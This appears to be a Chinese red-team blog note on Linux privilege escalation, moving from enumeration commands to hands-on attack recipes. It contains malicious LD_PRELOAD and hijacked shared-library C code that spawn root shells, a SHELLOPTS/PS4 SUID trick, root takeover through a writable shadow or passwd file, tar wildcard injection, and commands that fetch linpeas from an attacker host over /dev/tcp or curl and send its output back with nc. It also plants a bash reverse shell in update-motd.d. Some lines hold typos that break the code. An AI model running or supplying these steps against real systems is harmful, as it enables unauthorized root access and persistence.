红队linux提权大全笔记(1)

linux枚举

  • who/w:当前登录系统的所有用户

  • last:系统最近的登录记录

  • hostname/hostnamectl:返回linux主机名

  • uname -a:打印系统信息

  • /proc/version:提供目标系统的进程信息

  • /etc/issue:查看操作系统信息

  • ps:

    • -A/-ef:查看正在运行的进程

    • axjf:查看进程树(f:全列表输出)(j:进程树)

    • aux:显示进程、用户、未附加到终端的进程

  • ps显示内容

    • PID:进程 ID(对进程唯一)

    • TTY:用户使用的终端类型

    • TIME:进程使用的 CPU 时间量(这不是此进程的运行时间)

    • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

  • env:环境变量

  • sudo -l:允许用户使用root权限允许的命令,可以列出当前用户可运行的所有命令

  • getcap -r / 2>/dev/null:cap权限体系

  • history:历史操作

  • ID:提供用户权限和组成员权限的一般概述

  • /etc/passwd:返回所有用户

  • /etc/crontab:计划任务

  • /etc/fstab:查看有无未挂载的磁盘

  • /etc/shadow:用户密码hash

  • /etc/exports:查看是否可利用nfs

  • /etc/update-motd.d:查看motd目录是否有全局脚本

  • /home/user/.ssh:查询ssh相关信息

  • netstat:

    • -a:显示 所有侦听端口和已建立的连接。

    • -at/-au:显示 所有侦听端口和已建立的tcp/udp连接

    • -l:列表 端口处于 “侦听” 模式。

    • -s:按协议列出网络使用统计信息(-u/-t)

    • -tp:列出连接以及服务名称和 PID 信息(-ltp)

    • -i:显示接口统计信息

    • -ano:

      • -a:显示所有sockets

      • -n:不处理名字

      • -o:显示计时器

  • find:find [目录节点] [选项]

    • type f 2>/dev/null:错误重定向

find . -name flag1.txt:             查找当前目录flag1.txt文件
find /home -name flag1.txt:         查找/home目录flag1.txt文件
find / -type f -perm 0777:          查找具有 777 权限的文件 (所有用户都可以读取、可写和执行文件)
find / -perm a=x:                   查找可执行文件
find /home -user frank:             在 “/home”查找属于frank的文件
find / -mtime 10:                   查找最近 10天 个中修改的文件 
find / -atime 10:                   查找最近 10天 个中访问的文件 
find / -cmin -60:                   查找过去一小时内更改的文件 (60 分钟)
find / -amin -60:                   查找过去一小时内的文件访问 (60 分钟)
find / -size 50M:                   查找大小为 50 MB 的文件
​
文件夹:
find / -type d -name config:        在 “/” 下找到名为 config 的目录
查找可写文件夹:
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
查找全局可执行文件文件夹:
find / -perm -o x -type d 2>/dev/null
查找开发工具和支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
查找特定文件权限:(用于查找具有 SUID 位的文件,SUID 位允许文件以拥有它的帐户的权限级别运行,而不是以运行它的帐户的权限级别运行。)
find / -perm -u=s -type f 2>/dev/null
  • ip addr:查看网卡信息

  • ip route:查看路由信息

  • ip neigh:查看网络邻居

  • arp -a:查看局域网的mac与ip的绑定关系

  • which:查询可执行文件

    • awk、python、perl、vi、gcc、ftp 2>/dev/null

linux自动化枚举工具

脚本上传:

curl -L linpeas.sh | sh
-L:追踪重定向
注:linpeas支持加密

文件服务器(上传执行1):部署在攻击机器

攻击机:
1.cd linpeas.sh所在目录
2.sudo python3 -m http.server 80
靶机:
1.curl [linpeas.sh的url] | sh | nc [attack_ip] [attack_port]

shell执行(上传执行2):

攻击机:
1.sudo nc -lvnp 80 < linpeas.sh
靶机:
cat < /dev/tcp/attack_ip/attack_port | sh

目标机器输出结果返回攻击机器:为了输出结果不存放在靶机上

攻击机器:
1.部署文件服务器:sudo python3 -m http.server 80
2.监听返回结果:sudo nc -lvnp 81 | tee linpeas.txt
3.阅读返回结果:less -r linpeas.txt
目标机器:
1.curl [linpeas.sh的url] | sh | nc [attack_ip] [attack_port]

内核漏洞提权

  • 如果对系统有不可逆的修改,直接放弃

  • 工具:Google、Exploit-db 、searchsploit

Sudo提权

某些用户针对某些软件可能需要root权限,系统管理员允许该用户针对此软件拥有root权限,通过sudo -l查看用户具有root权限相关的情况

工具:GTFOBins ,提供了所有如何使用sudo权限的程序信息

LD_PRELOAD提权

LD_PRELOAD是一个环境变量用于在程序加载时优先加载LD_PRELOAD共享库,用于覆盖特定函数。环境变量env_keep里的内容是全局环境变量,不会随着用户的切换而消失。这就意味着 sudo 在执行被授权的命令时保留 LD_PRELOAD 环境变量。

利用流程:

  • 检测是否有env_keep += LD_PRELOAD

  • 编写恶意代码,并编译为共享库(.so)

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
​
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
​
编译:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  • 使用运行可授予sudo权限的程序,并指定共享库为刚才的恶意共享库(例如find为可授予用户sudo权限的程序)

sudo LD_PRELOAD=“恶意共享库绝对路径” find

Suid 提权

思路:

  • strings查看是否有sh脚本,已知脚本利用

  • strace查看文件与内核交互,是否引入共享库,共享库是否可拦截

  • 运行查看信息

查找具有suid位的文件:
find / -perm -u=s -type f 2>/dev/null 
  • exim具有s位

    • 直接search exploit获取脚本运行就能提权

  • 共享库拦截

    • strace 可执行文件,发现它会加载共享库

    • 我们劫持这个库即可,这要求我们需要写代码编译同名的库文件

    • 使用 __attribute__((constructor)) 声明的函数会在库加载时自动执行

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((aconstructor));
void inject()
{
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
编译:
gcc -shared -fPIC -o libcalc.so libcalc.c
  • 环境变量的可执行文件拦截,如:service start apache

    • 编译service.o到本地目录

    • 将本地目录添加到$PATH第一个位置

  • 使用函数拦截绝对路径的可执行文件,如:user/bin/service start apache(bash < 4.2-048)

    • 定义函数:function user/bin/service { /bin/bash -p }

    • 导出函数:export -f /usr/bin/service

  • (bash < 4.4)

    env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' [你的suid文件路径]
    ​
    解析:
    -i:清除环境变量
    SHELLOPTS=xtrace:在执行s位文件之前,将PS4作为前缀打印出来
    PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)':PS4被认定为脚本,脚本执行后打印

shadow&password提权

思路:

  • 是否可写

  • 是否能破解

案例:

  • hash识别:
    • hash-identifier

hash-identifier ''
  • hash破解:
    • john破解(自动识别加密类型)

john --wordlist=  hash
  • 可写shadow提权:
    • mkpasswd

    • 将密文粘贴到shadow文件的root密码hash位置

mkpasswd -m [encrypt_method] [password]
  • 可写passwd提权:
    • openssv

openss passwd [password]
  • 替代passwd中root密码部分

计划任务提权

思路:

  • 查看是否可写

  • 查看内置脚本,已知脚本利用

  • path路径拦截

案例:

  • 查看/etc/crontab文件
  • 可写脚本添加shell
    • 如果计划任务脚本可修改,直接修改即可

  • path路径拦截
    • 计划任务中如果没有使用绝对路径,那么会搜索path以找到计划任务脚本,而path通过顺序搜索获取脚本,那么我们在正确的path路径的前面的路径添加一个同名的脚本,计划任务就会优先搜索到新添加的脚本

  • tar通配符*提权(已知脚本利用)
    • 首先脚本中使用到了*,当脚本运行时自动将这个符号替换为当前目录的所有文件名。例如:文件名如果是tar的options的话,tar不讲它当作文件,而是当作options来执行

    • 如果脚本使用tar -cxf * 归档了某个目录所有文件和文件夹,我们在这个目录添加这两个空文件,他们会被解析成options,文件名如下:

      • '--checkpoint=1'

      • '--check-action-action=exec=shell.elf'

    • 此种情况为,root权限执行tar中的敏感options

已知脚本利用

已知的脚本利用会发生在不同的流程中,如:

  • 计划任务高权限下运行的脚本

  • 具有s位(suid)的脚本

然而,基本上所有suid的利用都是已知脚本利用,此类利用很杂,需要网上搜索,或记忆常见案例,例如:

  • 共享库伪造(共享库不存在,我们进行伪造)

  • 可执行文件拦截(没有使用绝对路径或相对路径,使用了环境变量)

  • tar通配符提权

敏感信息收集提权

此内容有很大的实战意义,常见敏感信息存储方式:

  • history

  • cat ~/.*history | les:查询history文件

  • 密码密钥配置文件(此内容看重经验,和搜索,如使用关键词搜索配置文件路径)

    • auth

    • info

  • ssh密钥提权

    • 查看服务器是否有ssh私钥

NFS提权

信息收集:

cat /etc/exports
/etc/exports文件通常用于配置NFS(Network File System)共享目录的权限和设置。这个文件定义了哪些目录可以被其他主机挂载,以及允许哪些主机访问这些目录。
​
格式:<共享目录> <允许访问的主机>(选项)
选项:
    ro:只读权限,允许客户端只读访问共享目录。
    rw:读写权限,允许客户端读取和写入共享目录。
    sync:同步写入,写操作需要等待数据写入磁盘后才返回成功。
    async:异步写入,写操作立即返回,数据会延迟写入磁盘。
    no_root_squash:禁止将远程root用户映射为匿名用户。
    root_squash:将远程root用户映射为匿名用户。
    all_squash:将所有远程用户映射为匿名用户。
    subtree_check:强制NFS服务器检查父目录的导出权限。
    no_subtree_check:不检查父目录的导出权限。速度快但不安全。

nfs服务写入恶意文件,执行提权

kali端:
以root身份运行:
    1.创建挂载文件夹:mkdir /tmp/nfs
    2.进行挂载:mount -o rw,vers=3 [ip]:/tmp /tmp/nfs
    3.在/tmp/nfs目录下生成恶意代码
目标机器:
    1.运行/tmp/shell.elf

update-motd.d目录脚本提权

update-motd.d脚本用于生成每次用户登录时显示的动态消息(Message of the Day,简称 MOTD),所有用户登录时都会调用update-motd.d脚本。

信息收集:

cd /etc/update-motd.d
bash -c "bash -i >& /dev/tcp/[ip]/[port] 0>&1"

update-motd.d是linux中的全局脚本,写入恶意代码,进行执行

私钥破解(此内容偏向打点)

推荐我的文章,已理解ssh相关安全问题的细节:

红队ssh协议通信全流程以及安全研究-CSDN博客

SSH私钥通常是通过PRNG生成的。通过下载密钥对库,然后将公钥对生成的密钥对进行比对,因为公钥是公开的,没有立足点也可以获取,所以通常用来打点,而不是提权(看是否是root的公钥)

场景:获取到机器上的公钥

信息枚举(已打点):

cd /home/[user]/.ssh/authorized_keys
如果已经打点的话[user]可以:cat /etc/passwd

信息收集(未打点):

sudo perl 2017.pl [ip] [port] /home/[user]/.ssh/authorized_keys 0
如果未打点的话[user]可以使用批量化脚本实现暴力枚举

脚本利用:

searchsploit prng
​
# 下载密钥对库
# 进入指定密钥对库的目录
sudo grep -lr "公钥的一部分"

ssh登录:

ssh -i [指定私钥的路径] [user]:[ip]
  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值